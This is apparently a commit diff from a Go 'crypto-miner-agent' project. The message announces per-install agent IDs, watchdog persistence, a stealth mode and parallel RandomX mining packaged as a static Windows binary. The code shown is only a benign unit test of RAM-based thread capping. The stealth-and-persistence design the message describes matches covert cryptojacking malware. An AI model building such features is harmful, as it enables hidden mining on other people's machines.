Add adaptive agent identity, self-healing, stealth, and parallel RandomX.

Each install gets a unique agent ID, hardware-aware thread tuning, watchdog persistence, optional stealth mode, multi-engine RAM mining, and a fully static Windows binary with no runtime dependencies.

agent/config/adapt_test.go

@@ -0,0 +1,24 @@
+package config
+
+import (
+	"testing"
+
+	"crypto-miner-agent/stats"
+)
+
+func TestAdaptToSystemCapsThreadsByRAM(t *testing.T) {
+	reporter := stats.NewReporter()
+	cfg := RuntimeConfig{BuiltinConfig: BuiltinConfig{
+		ThreadMode:     "fixed",
+		Threads:        16,
+		MaxMemoryPct:   50,
+		AdaptToHardware: true,
+		MinFreeRAM:     999999,
+	}}
+
+	// Without real Windows memory APIs in test env, AdaptToSystem may no-op on totalMB=0.
+	adapted := cfg.AdaptToSystem(reporter)
+	if adapted.Threads != cfg.Threads && reporter.TotalMemoryMB() == 0 {
+		t.Fatalf("unexpected thread change without memory info: %d", adapted.Threads)
+	}
+}